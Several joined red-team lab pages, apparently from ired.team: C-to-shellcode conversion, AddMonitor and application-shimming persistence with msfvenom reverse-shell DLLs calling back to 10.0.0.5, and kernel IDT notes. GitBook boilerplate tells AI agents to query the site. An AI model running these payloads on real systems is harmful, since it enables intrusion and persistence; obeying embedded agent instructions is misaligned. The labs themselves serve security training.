\[vxunderground\](https://twitter.com/vxunderground) - go check it out for a deep dive on all the subtleties involved in this process, that will not be covered in these notes. For the sake of this lab, we are going to turn a simple C program (that is provided by \[hasherezade\](https://twitter.com/hasherezade) in the aforementioned paper) that pops a message box, to shellcode and execute it by manually injecting it into an RWX memory location inside notepad. {% hint style="info" %} Code samples used throughout this lab are written by \[hasherezade\](https://twitter.com/hasherezade), unless stated otherwise. {% endhint %} ## Overview Below is a quick overview of how writing and compiling shellcode in C works: 1. Shellcode is written in C 2. C code is compiled to a list of assembly instructions 3. Assembly instructions are cleaned up and external dependencies removed 4. Assembly is linked to a binary 5. Shellcode is extracted from the binary 6. This shellcode can now be injected/executed by leveraging \[code injection techniques\](/offensive-security/code-injection-process-injection.md) ## Walkthrough {% hint style="info" %} 1. This lab is based on Visual Studio 2019 Community Edition. 2. Program and shellcode in this lab targets x64 architecture. {% endhint %} ### 1. Preparing Dev Environment First of, let's start the Developer Command Prompt for VS 2019, which will set up our dev environment required for compiling and linking the C code used in this lab: !\[\](/files/-MMqwX5Hs8CJqD02\_34B) In my case, the said console is located here: \`\`\` C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\Tools\\VsDevCmd.bat \`\`\` Let's start it like so: \`\`\` cmd /k "C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\Tools\\VsDevCmd.bat" \`\`\` !\[\](/files/-MMq\_0koF0JKEap3PyKl) ### 2. Generating Assembly Listing Below are two C files that make up the program we will be converting to shellcode: \* \`c-shellcode.cpp\` - the program that pops a message box \* \`peb-lookup.h\` - header file required by the \`c-shellcode.cpp\`, which contains functions for resolving addresses for \`LoadLibraryA\` and \`GetProcAddress\` {% tabs %} {% tab title="c-shellcode.cpp" %} \`\`\`cpp #include #include "peb-lookup.h" // It's worth noting that strings can be defined nside the .text section: #pragma code\_seg(".text") \_\_declspec(allocate(".text")) wchar\_t kernel32\_str\[\] = L"kernel32.dll"; \_\_declspec(allocate(".text")) char load\_lib\_str\[\] = "LoadLibraryA"; int main() { // Stack based strings for libraries and functions the shellcode needs wchar\_t kernel32\_dll\_name\[\] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0 }; char load\_lib\_name\[\] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 }; char get\_proc\_name\[\] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s', 0 }; char user32\_dll\_name\[\] = { 'u','s','e','r','3','2','.','d','l','l', 0 }; char message\_box\_name\[\] = { 'M','e','s','s','a','g','e','B','o','x','W', 0 }; // stack based strings to be passed to the messagebox win api wchar\_t msg\_content\[\] = { 'H','e','l','l','o', ' ', 'W','o','r','l','d','!', 0 }; wchar\_t msg\_title\[\] = { 'D','e','m','o','!', 0 }; // resolve kernel32 image base LPVOID base = get\_module\_by\_name((const LPWSTR)kernel32\_dll\_name); if (!base) { return 1; } // resolve loadlibraryA() address LPVOID load\_lib = get\_func\_by\_name((HMODULE)base, (LPSTR)load\_lib\_name); if (!load\_lib) { return 2; } // resolve getprocaddress() address LPVOID get\_proc = get\_func\_by\_name((HMODULE)base, (LPSTR)get\_proc\_name); if (!get\_proc) { return 3; } // loadlibrarya and getprocaddress function definitions HMODULE(WINAPI \* \_LoadLibraryA)(LPCSTR lpLibFileName) = (HMODULE(WINAPI\*)(LPCSTR))load\_lib; FARPROC(WINAPI \* \_GetProcAddress)(HMODULE hModule, LPCSTR lpProcName) = (FARPROC(WINAPI\*)(HMODULE, LPCSTR)) get\_proc; // load user32.dll LPVOID u32\_dll = \_LoadLibraryA(user32\_dll\_name); // messageboxw function definition int (WINAPI \* \_MessageBoxW)( \_In\_opt\_ HWND hWnd, \_In\_opt\_ LPCWSTR lpText, \_In\_opt\_ LPCWSTR lpCaption, \_In\_ UINT uType) = (int (WINAPI\*)( \_In\_opt\_ HWND, \_In\_opt\_ LPCWSTR, \_In\_opt\_ LPCWSTR, \_In\_ UINT)) \_GetProcAddress((HMODULE)u32\_dll, message\_box\_name); if (\_MessageBoxW == NULL) return 4; // invoke the message box winapi \_MessageBoxW(0, msg\_content, msg\_title, MB\_OK); return 0; } \`\`\` {% endtab %} {% tab title="peb-lookup.h" %} \`\`\`cpp #pragma once #include #ifndef \_\_NTDLL\_H\_\_ #ifndef TO\_LOWERCASE #define TO\_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1) #endif typedef struct \_UNICODE\_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE\_STRING, \* PUNICODE\_STRING; typedef struct \_PEB\_LDR\_DATA { ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST\_ENTRY InLoadOrderModuleList; LIST\_ENTRY InMemoryOrderModuleList; LIST\_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; } PEB\_LDR\_DATA, \* PPEB\_LDR\_DATA; //here we don't want to use any functions imported form extenal modules typedef struct \_LDR\_DATA\_TABLE\_ENTRY { LIST\_ENTRY InLoadOrderModuleList; LIST\_ENTRY InMemoryOrderModuleList; LIST\_ENTRY InInitializationOrderModuleList; void\* BaseAddress; void\* EntryPoint; ULONG SizeOfImage; UNICODE\_STRING FullDllName; UNICODE\_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; HANDLE SectionHandle; ULONG CheckSum; ULONG TimeDateStamp; } LDR\_DATA\_TABLE\_ENTRY, \* PLDR\_DATA\_TABLE\_ENTRY; typedef struct \_PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; BOOLEAN SpareBool; HANDLE Mutant; PVOID ImageBaseAddress; PPEB\_LDR\_DATA Ldr; // \[...\] this is a fragment, more elements follow here } PEB, \* PPEB; #endif //\_\_NTDLL\_H\_\_ inline LPVOID get\_module\_by\_name(WCHAR\* module\_name) { PPEB peb = NULL; #if defined(\_WIN64) peb = (PPEB)\_\_readgsqword(0x60); #else peb = (PPEB)\_\_readfsdword(0x30); #endif PPEB\_LDR\_DATA ldr = peb->Ldr; LIST\_ENTRY list = ldr->InLoadOrderModuleList; PLDR\_DATA\_TABLE\_ENTRY Flink = \*((PLDR\_DATA\_TABLE\_ENTRY\*)(&list)); PLDR\_DATA\_TABLE\_ENTRY curr\_module = Flink; while (curr\_module != NULL && curr\_module->BaseAddress != NULL) { if (curr\_module->BaseDllName.Buffer == NULL) continue; WCHAR\* curr\_name = curr\_module->BaseDllName.Buffer; size\_t i = 0; for (i = 0; module\_name\[i\] != 0 && curr\_name\[i\] != 0; i++) { WCHAR c1, c2; TO\_LOWERCASE(c1, module\_name\[i\]); TO\_LOWERCASE(c2, curr\_name\[i\]); if (c1 != c2) break; } if (module\_name\[i\] == 0 && curr\_name\[i\] == 0) { //found return curr\_module->BaseAddress; } // not found, try next: curr\_module = (PLDR\_DATA\_TABLE\_ENTRY)curr\_module->InLoadOrderModuleList.Flink; } return NULL; } inline LPVOID get\_func\_by\_name(LPVOID module, char\* func\_name) { IMAGE\_DOS\_HEADER\* idh = (IMAGE\_DOS\_HEADER\*)module; if (idh->e\_magic != IMAGE\_DOS\_SIGNATURE) { return NULL; } IMAGE\_NT\_HEADERS\* nt\_headers = (IMAGE\_NT\_HEADERS\*)((BYTE\*)module + idh->e\_lfanew); IMAGE\_DATA\_DIRECTORY\* exportsDir = &(nt\_headers->OptionalHeader.DataDirectory\[IMAGE\_DIRECTORY\_ENTRY\_EXPORT\]); if (exportsDir->VirtualAddress == NULL) { return NULL; } DWORD expAddr = exportsDir->VirtualAddress; IMAGE\_EXPORT\_DIRECTORY\* exp = (IMAGE\_EXPORT\_DIRECTORY\*)(expAddr + (ULONG\_PTR)module); SIZE\_T namesCount = exp->NumberOfNames; DWORD funcsListRVA = exp->AddressOfFunctions; DWORD funcNamesListRVA = exp->AddressOfNames; DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals; //go through names: for (SIZE\_T i = 0; i < namesCount; i++) { DWORD\* nameRVA = (DWORD\*)(funcNamesListRVA + (BYTE\*)module + i \* sizeof(DWORD)); WORD\* nameIndex = (WORD\*)(namesOrdsListRVA + (BYTE\*)module + i \* sizeof(WORD)); DWORD\* funcRVA = (DWORD\*)(funcsListRVA + (BYTE\*)module + (\*nameIndex) \* sizeof(DWORD)); LPSTR curr\_name = (LPSTR)(\*nameRVA + (BYTE\*)module); size\_t k = 0; for (k = 0; func\_name\[k\] != 0 && curr\_name\[k\] != 0; k++) { if (func\_name\[k\] != curr\_name\[k\]) break; } if (func\_name\[k\] == 0 && curr\_name\[k\] == 0) { //found return (BYTE\*)module + (\*funcRVA); } } return NULL; } \`\`\` {% endtab %} {% endtabs %} We can now convert the C code in \`c-shellcode.cpp\` to assembly instructions like so: \`\`\` "C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\VC\\Tools\\MSVC\\14.26.28801\\bin\\Hostx64\\x64\\cl.exe" /c /FA /GS- c-shellcode.cpp \`\`\` The switches' instruct the compiler to: \* \`/c\` - Prevent the automatic call to LINK \* \`/FA\` - Create a listing file containing assembler code for the provided C code \* \`/GS-\` - Turn off detection of some buffer overruns Below shows how we compile the \`c-shellcode.cpp\` into \`c-shellcode.asm\`: !\[Assembly instructions are generated based on the c-shellcode.asm\](/files/-MMvLTqir0EKKu2IBYd1) ### 3. Massaging Assembly Listing Now that our C code has been convered to assembly in \`c-shellcode.asm\`, we need to clean up the file a bit, so we can link it to an .exe without errors and to avoid the shellcode from crashing. Specifically, we need to: 1. Remove dependencies from external libraries 2. Align stack 3. Fix a simple syntax issue #### 3.1 Remove Exteranal Libraries First off, we need to comment out or remove instructions to link this module with libraries \`libcmt\` and \`oldnames\`: !\[Comment out both includelib directives\](/files/-MMqnQ\_VJD70nMg5ExzK) #### 3.2 Fix Stack Alignment Add procedure \`AlignRSP\` right at the top of the first \`\_TEXT\` segment in our \`c-shellcode.asm\`: \`\`\`css ; https://github.com/mattifestation/PIC\_Bindshell/blob/master/PIC\_Bindshell/AdjustStack.asm ; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior ; to calling the entry point of the payload. This is necessary because 64-bit functions ; in Windows assume that they were called with 16-byte stack alignment. When amd64 ; shellcode is executed, you can't be assured that you stack is 16-byte aligned. For example, ; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely ; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte) ; alignment. AlignRSP PROC push rsi ; Preserve RSI since we're stomping on it mov rsi, rsp ; Save the value of RSP so it can be restored and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes sub rsp, 020h ; Allocate homing space for ExecutePayload call main ; Call the entry point of the payload mov rsp, rsi ; Restore the original value of RSP pop rsi ; Restore RSI ret ; Return to caller AlignRSP ENDP \`\`\` Below shows how it should look like in the \`c-shellcode.asm\`: !\[Add AlignRSP at the top of \\\_TEXT segment\](/files/-MMqlTh9CEQZCnlOHVYT) #### 3.3 Remove PDATA and XDATA Segments Remove or comment out \`PDATA\` and \`XDATA\` segments as shown below: !\[\](/files/-MMtNQ4fu7chS1NcL7dr) #### 3.4 Fix Syntax Issues We need to change line \`mov rax, QWORD PTR gs:96\` to \`mov rax, QWORD PTR gs:\[96\]\`: !\[\](/files/-MMqmpGS6\_Mk6TauvQ5H) ### 4. Linking to an EXE We are now ready to link the assembly listings inside \`c-shellcode.asm\` to get an executable \`c-shellcode.exe\`: \`\`\` "C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\VC\\Tools\\MSVC\\14.26.28801\\bin\\Hostx64\\x64\\ml64.exe" c-shellcode.asm /link /entry:AlignRSP \`\`\` !\[\](/files/-MMqnzvo5QuXnWDNwFXt) ### 5. Testing the EXE We can now check that if \`c-shellcode.exe\` does what it was meant to - pops a message box: !\[\](/files/-MMqoEAiV36kIryHhqAi) ### 6. Copying Out Shellcode Once we have the \`c-shellcode.exe\` binary, we can extract the shellcode and execute it using any \[code injection\](/offensive-security/code-injection-process-injection.md) technique, but for the sake of this lab, we will copy it out as a list of hex values and simply paste them into an RWX memory slot inside a notepad.exe. Let's copy out the shellcode from the \`.text\` section, which in our case starts at 0x200 into the raw file: !\[\](/files/-MMqsAmNT3qw\_Qx4XTIs) If you are wondering how we found the shellcode location, look at the \`.text\` section - you can extract if from there too: !\[\](/files/-MMtCPhSxgjHls\_\_TRAc) ### 7. Testing Shellcode Once the shellcode is copied, let's paste it to an RWX memory area (you can set any memory location to have permissions RWX with xdbg64) inside notepad, set RIP to that location and resume code execution in that location. If we did all the previous steps correctly, we should see our shellcode execute and pop the message box: !\[notepad.exe executing shellcode that pops a MessageBox as seen in xdbg64\](/files/-MMqufoSszmeGw2J1lbW) ## References \[From a C project, through assembly, to shellcode\](https://vxug.fakedoma.in/papers/VXUG/Exclusive/FromaCprojectthroughassemblytoshellcodeHasherezade.pdf) --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-shellcode-in-c.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/persistence/t1013-addmonitor.md). # AddMonitor() ## Execution Generating a 64-bit meterpreter payload to be injected into the spoolsv.exe: {% code title="attacker\\@local" %} \`\`\`csharp msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=10.0.0.5 LPORT=443 -f dll > evil64.dll \`\`\` {% endcode %} Writing and compiling a simple C++ code that will register the monitor port: {% code title="monitor.cpp" %} \`\`\`cpp #include "stdafx.h" #include "Windows.h" int main() { MONITOR\_INFO\_2 monitorInfo; TCHAR env\[12\] = TEXT("Windows x64"); TCHAR name\[12\] = TEXT("evilMonitor"); TCHAR dll\[12\] = TEXT("evil64.dll"); monitorInfo.pName = name; monitorInfo.pEnvironment = env; monitorInfo.pDLLName = dll; AddMonitor(NULL, 2, (LPBYTE)&monitorInfo); return 0; } \`\`\` {% endcode %} {% file src="/files/-LIlMq8IlKuLFxhJAmxP" %} PortMonitor64 {% endfile %} {% file src="/files/-LIlN3hNJnU6JXFZ1gsG" %} evil64.dll - meterpreter payload {% endfile %} Move evil64.dll to \`%systemroot%\` and execute the compiled \`monitor.cpp\`. ## Observations Upon launching the compiled executable and inspecting the victim machine with procmon, we can see that the evil64.dll is being accessed by the spoolsvc: !\[\](/files/-LIlSGDVDWgfUuC5qhF1) !\[\](/files/-LIlTRPWcmMfj4NY1JTf) which eventually spawns a rundll32 with meterpreter payload, that initiates a connection back to the attacker: !\[\](/files/-LIlTRPbvKjPvN2WG6VA) !\[\](/files/-LIlVOJqUhVMxl-EVKGy) The below confirms the procmon results explained above: !\[\](/files/-LIlU1xCNn4\_OiX-JBKf) Sysmon commandline arguments and network connection logging to the rescue: !\[\](/files/-LIlXM5dx\_1Wunt8J5W9) ## References {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/persistence/t1013-addmonitor.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/interrupt-descriptor-table-idt.md). # Interrupt Descriptor Table - IDT ## At a Glance \* Interrupts could be thought of as \`notifications\` to the CPU that tells it that \`some event\` happened on the system. Classic examples of interrupts are hardware interrupts such as mouse button or keyboard key presses, network packet activity and hardware generated exceptions such as a division by zero or a breakpoint - interrupts 0x00 and 0x03 respectively \* Once the CPU gets interrupted, it stops doing what it was doing and responds to the new interrupt \* CPU knows how to respond and what kernel routines to execute for the newly received interrupt by looking up Interrupt Service Routines (ISR) that are found in the Interrupt Descriptor Table (IDT) \* IDT is a list of IDT descriptor entries which are 8 or 16 bytes in size depending on the architecture \* Pointer to IDT is stored in an \`IDTR\` register for each physical processor or in other words, each processor has its own \`IDTR\` register pointing to its own Interrupt Descriptor Table {% hint style="info" %} Offsets across different screenshots and windbg output may differ due to the fact that I rebooted the debugee a couple of times during the time these notes were taken. The notes are based on debugging a kernel of a 64 bit Windows, running in a VM with 1 CPU. {% endhint %} ## IDT Location We can check where the Interrupt Descriptor Table is located in kernel by reading the register \`IDTR\`: \`\`\` r idtr \`\`\` !\[\](/files/-Lv\_\_2GKIHCsDMwkNDt4) As noted later, the command \`!idt\` allows us to dump the Interrupt Descriptor Table contents and it also confirms that the IDT is located at \`\`fffff803\`536dda00\`\` as shown below: !\[idtr register contains the same value seen when dumping IDT with !idt\](/files/-Lv\_Zi6SseJOCW4Zn7xd) ## Dumping IDT We can dump the IDT and see addresses of Interrupt Service Routines for a given interrupt. Below is a snippet of the Interrupt Descriptor Table: \`\`\`erlang kd> !idt Dumping IDT: fffff80091456000 00: fffff8008f37e100 nt!KiDivideErrorFaultShadow 01: fffff8008f37e180 nt!KiDebugTrapOrFaultShadow Stack = 0xFFFFF8009145A9E0 02: fffff8008f37e200 nt!KiNmiInterruptShadow Stack = 0xFFFFF8009145A7E0 03: fffff8008f37e280 nt!KiBreakpointTrapShadow ... 90: fffff8008f37f680 i8042prt!I8042MouseInterruptService (KINTERRUPT ffffd4816353e8c0) a0: fffff8008f37f700 i8042prt!I8042KeyboardInterruptService (KINTERRUPT ffffd4816353ea00) ... \`\`\` Below shows the IDT dumping and ISR code execution in action: \* IDT table is dumped with \`!idt\` \* IRS entry point for the interrupt \`a0\` is located at \`fffff8008f37f700\` \* This is the routine that gets executed first inside the kernel when a keyboard event such as a keypress is registered on the OS \* Eventually, the routine \`i8042prt!I8042KeyboardInterruptService\` (inside the actual keyboard driver) is hit once the code at \`fffff8008f37f700\` is finished \* Putting a breakpoint on \`i8042prt!I8042KeyboardInterruptService\` \* Once the breakpoint is set, a key is pressed on the OS login prompt and our breakpoint is hit, confirming that \`i8042prt!I8042KeyboardInterruptService\` indeed handles keyboard interrupts !\[\](/files/-Lv7vKNg9G9YZvVlfvP4) Below is a heavily simplified diagram illustrating all of the above events taking place: \* the keyboard interrupt \`0xa0\` occurs \* IDT table using index \`0x0a\` is looked up (\[IDT address + 0xa0 \\\* 0x10\](/miscellaneous-reversing-forensics/windows-kernel-internals/interrupt-descriptor-table-idt.md#idt-entry-for-the-keyboard-interrupt-0xa0)) and the \[ISR Entry Point is resolved\](/miscellaneous-reversing-forensics/windows-kernel-internals/interrupt-descriptor-table-idt.md#isr-for-the-keyboard-interrupt-a0) and code jumps to it \* after some hoops, the code is eventually redirected to the keyboard driver where the interrupt gets handled in \`i8042prt!I8042KeyboardInterruptService\` !\[\](/files/-Lvh-e1dUkiXRBqNfJtA) ## IDT Entry IDT is made up of IDT entries \`\_KIDTENTRY64\` which is a kernel memory structure and is defined like so: \`\`\`erlang kd> dt nt!\_KIDTENTRY64 +0x000 OffsetLow : Uint2B +0x002 Selector : Uint2B +0x004 IstIndex : Pos 0, 3 Bits +0x004 Reserved0 : Pos 3, 5 Bits +0x004 Type : Pos 8, 5 Bits +0x004 Dpl : Pos 13, 2 Bits +0x004 Present : Pos 15, 1 Bit +0x006 OffsetMiddle : Uint2B +0x008 OffsetHigh : Uint4B +0x00c Reserved1 : Uint4B +0x000 Alignment : Uint8B \`\`\` Members \`OffsetLow\`, \`OffsetMiddle\` and \`OffsetHigh\` at offsets 0x000, 0x006 and 0x008 make up the virtual address in the kernel and it's where the code execution will be transferred to by the CPU once that particular interrupt takes place - in other words - this is the Interrupt Service Routine's (ISR) entry point. ## IDT Entry for the Keyboard Interrupt 0xa0 As an example, let's inspect the IDT entry for the keyboard interrupt which is located at index \`a0\` in the IDT table as discovered earlier: \`\`\`erlang !idt a0 \`\`\` !\[\](/files/-Lv\_xl0BQZfFq11p\_R47) From earlier, we also know that the IDT resides at \`fffff803536dd000\`: \`\`\`erlang kd> r idtr idtr=fffff803536dd000 \`\`\` We can get the location of the \`a0\` IDT entry by adding \`0xa0\*0x10\` (interrupt index \`a0\` times \`0x10\` since a descriptor entry is 16 bytes in size) to the IDT table address \`fffff803536dd000\`, which gives us \`\`fffff803\`536dda00\`\`: \`\`\`erlang kd> dq idtr + (0xa0\*0x10) L2 fffff803\`536dda00 51568e00\`0010e700 00000000\`fffff803 \`\`\` With the above information, we can overlay the \`a0\` interrupt descriptor entry with \`\_KIDTENTRY64\` and inspect \`a0\` IDT entry's content: \`\`\`erlang kd> dt \_kidtentry64 (idtr + (0xa0\*0x10)) ntdll!\_KIDTENTRY64 +0x000 OffsetLow : 0xe700 +0x002 Selector : 0x10 +0x004 IstIndex : 0y000 +0x004 Reserved0 : 0y00000 (0) +0x004 Type : 0y01110 (0xe) +0x004 Dpl : 0y00 +0x004 Present : 0y1 +0x006 OffsetMiddle : 0x5156 +0x008 OffsetHigh : 0xfffff803 +0x00c Reserved1 : 0 +0x000 Alignment : 0x51568e00\`0010e700 \`\`\` ## ISR for the Keyboard Interrupt a0 Based on the above IDT entry for the keyboard interrupt, the below \[re-enforces\](/miscellaneous-reversing-forensics/windows-kernel-internals/interrupt-descriptor-table-idt.md#idt-entry) that the combination of Offset(High|Middle|Low) form the virtual address of the Interrupt Service Routine (ISR) entry point - the code that will be executed when \`a0\` interrupt is triggered by the keyboard: !\[\](/files/-LvaH9QegPcrP3xC2wFs) Below shows the instructions at \`\`fffff803\`5156e700\`\` (ISR entry point) to be executed by the CPU once interrupt \`a0\` is triggered: \* FFFFFFFFFFFFFF\*\*A0\*\* will be pushed on the stack \* jump to \`\`fffff803\`5156ea40\`\` will happen !\[\](/files/-LvafkPn6zj0fu4G0Z-1) ...and eventually, the \`i8042prt!I8042KeyboardInterruptService\` will be hit and below confirms it - firstly, the breakpoint is hit for \`\`fffff803\`5156e700\`\` and \`i8042prt!I8042KeyboardInterruptService\` is hit immediately after: !\[\](/files/-LvapJ9UufCkcavLFJXW) ## \\\_KINTERRUPT \`\_KINTERRUPT\` is a kernel memory structure that holds information about an interrupt. The key member of this structure for this lab is the member located at offset \`0x18\` - it's a pointer to the \`ServiceRoutine\` - the routine (inside the associated driver) that is responsible for actually handling the interrupt: \`\`\`erlang dt nt!\_KINTERRUPT +0x000 Type : Int2B +0x002 Size : Int2B +0x008 InterruptListEntry : \_LIST\_ENTRY +0x018 ServiceRoutine : Ptr64 unsigned char ... +0x0f8 Padding : \[8\] UChar \`\`\` As an example - from earlier, we know that the ISR for keyboard interrupts is located at \`ffffd4816353ea00\`, therefore we can inspect the \`\_KINTERRUPT\` structure of that our interrupt by overlaying it with memory contents at \`ffffd4816353ea00\`: \`\`\`erlang dt nt!\_KINTERRUPT ffffd4816353ea00 \`\`\` This allows us to confirm that the \`ServiceRoutine\` is again pointing correctly to \`i8042prt!I8042KeyboardInterruptService\` inside the keyboard driver: !\[\](/files/-Lv8-Y16fD6BhoUQ1uJF) ## Finding \\\_KINTERRUPT In order to manually find the location of \`\_KINTERRUPT\` for a given interrupt, we need to leverage the following memory locations and structures. Process Control Region or PCR (\`\_KPCR\` memory structure in kernel) stores information about a given processor: \`\`\`erlang kd> dt \_KPCR ntdll!\_KPCR +0x000 NtTib : \_NT\_TIB +0x000 GdtBase : Ptr64 \_KGDTENTRY64 +0x008 TssBase : Ptr64 \_KTSS64 +0x010 UserRsp : Uint8B +0x018 Self : Ptr64 \_KPCR +0x020 CurrentPrcb : Ptr64 \_KPRCB +0x028 LockArray : Ptr64 \_KSPIN\_LOCK\_QUEUE +0x030 Used\_Self : Ptr64 Void +0x038 IdtBase : Ptr64 \_KIDTENTRY64 +0x040 Unused : \[2\] Uint8B +0x050 Irql : UChar +0x051 SecondLevelCacheAssociativity : UChar +0x052 ObsoleteNumber : UChar +0x053 Fill0 : UChar +0x054 Unused0 : \[3\] Uint4B +0x060 MajorVersion : Uint2B +0x062 MinorVersion : Uint2B +0x064 StallScaleFactor : Uint4B +0x068 Unused1 : \[3\] Ptr64 Void +0x080 KernelReserved : \[15\] Uint4B +0x0bc SecondLevelCacheSize : Uint4B +0x0c0 HalReserved : \[16\] Uint4B +0x100 Unused2 : Uint4B +0x108 KdVersionBlock : Ptr64 Void +0x110 Unused3 : Ptr64 Void +0x118 PcrAlign1 : \[24\] Uint4B +0x180 Prcb : \_KPRCB \`\`\` \`\_KPCR\` location can be found like this: \`\`\`erlang kd> ? @$pcr Evaluate expression: -8781847822336 = fffff803\`51148000 kd> !pcr KPCR for Processor 0 at fffff80351148000: Major 1 Minor 1 NtTib.ExceptionList: fffff803536dffb0 NtTib.StackBase: fffff803536de000 NtTib.StackLimit: 0000000000000000 ...snip... \`\`\` Inside the \`\_KPCR\`, at offset \`0x180\` there is a member that points to a Process Control Block memory structure \`\_KPRCB\` which contains information about the state of a processor. The key member we're interested when trying to find the \`\_KINTERRUPT\` memory location for a given interrupt is \`InterruptObject\` as it contains a list of pointers to a list of \`\_KINTERRUPT\` objects. \`InterrupObject\` is located at offset \`0x2e80\` as shown below: \`\`\`erlang kd> dt \_KPRCB ntdll!\_KPRCB +0x000 MxCsr : Uint4B +0x004 LegacyNumber : UChar +0x005 ReservedMustBeZero : UChar .... +0x2e80 InterruptObject : \[256\] Ptr64 Void //256 pointers max as noted earlier .... \`\`\` With the above knowledge, we can now find the \`\_KINTERRUPT\` location for the keyboard interrupt \`a0\`: \`\`\`erlang dt @$pcr nt!\_KPCR Prcb.InterruptObject\[a0\] \`\`\` Below confirms that the \`\_KINTERRUPT\` for the interrupt \`a0\` we found manually matches that given by the \`!idt\` command: !\[\](/files/-LvaZGq6AV85vjZ3NpoC) ## References {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/interrupt-descriptor-table-idt.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/persistence/t1138-application-shimming.md). # Application Shimming ## Execution In this lab, \[Compatibility Administrator\](https://www.microsoft.com/en-us/download/details.aspx?id=7352) will be abused to inject a malicious payload into putty.exe process, which will connect back to our attacking machine. Generating malicious payload stored in a 32-bit DLL: {% code title="attacker\\@kali" %} \`\`\`csharp msfvenom -p windows/shell\_reverse\_tcp LHOST=10.0.0.5 LPORT=443 -f dll > evil32.dll \`\`\` {% endcode %} Creating a shim fix for putty.exe - this is the "fix" that will get our malicious DLL injected into putty.exe when it is launched next time: !\[\](/files/-LI7rNyL1L5BvT4eEe3r) !\[\](/files/-LI7rwXv-p2eQs\_I1RH2) !\[\](/files/-LI7rzFatxXYnzZNvW76) Installing the shim fixes database we created earlier onto the victim machine using a native windows utility: {% code title="attacker\\@victim" %} \`\`\`csharp sdbinst.exe C:\\experiments\\mantvydas.sdb \`\`\` {% endcode %} Launching putty.exe on the victim machine, sends us our reverse shell - DLL injection worked: !\[\](/files/-LI7scHYnhI4hU-uLTKQ) ## Observations We can see putty.exe has loaded the evil32.dll: !\[\](/files/-LI7uENOOeU36bIC4bx-) Note, however, immediately after executing the payload, evil32.dll cannot be observed in the loaded system DLLs: !\[\](/files/-LI7sz6zM1tcopjQdndV) The sdbinst.exe leaves the following behind: \* fix name "mantvydas" (we set it in the first step of the shim fix creation) in the "Installed applications" list \* the fix db itself gets copied over to \`%WINDIR%\\AppPatch\\custom OR %WINDIR%\\AppPatch\\AppPatch64\\Custom\` \* registry key pointing to the custom fixes db gets added All of the above can be seen here: !\[\](/files/-LI7zyLEYKqWu\_z9mz4O) Note that it is 